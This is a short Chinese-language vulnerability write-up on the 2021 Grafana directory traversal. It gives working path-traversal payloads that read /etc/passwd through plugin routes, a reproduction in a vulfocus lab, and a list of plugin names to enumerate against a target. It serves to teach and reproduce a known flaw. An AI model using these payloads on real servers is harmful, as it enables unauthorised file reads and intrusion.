1、漏洞描述
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。2021年12月6日,国外安全研究人员披露Grafana中某些接口在提供静态文件时,攻击者通过构造恶意请求,可造成目录遍历,读取系统上的文件。
2.验证poc
/public/plugins/welcome/../../../../../../../../../etc/passwd
/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd
第一条适合在burp里面使用,但是直接在浏览器访问会被过滤掉,第二条适用于在浏览器里直接访问,二者没有什么区别,alertlist与welcome为两个插件,基本上这两个就够用了,如果对方没有安装这俩插件那么可以将这个关键词进行枚举即可
3.环境搭建
我们这里使用的是vulfocus(启动完成后访问链接即可)
4.漏洞复现
访问http://vulfocus.fofa.so:47181/login并抓包
修改请求路径为/public/plugins/gauge/../../../../../../../../etc/passwd
,读取文件成功
受影响的plugins
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text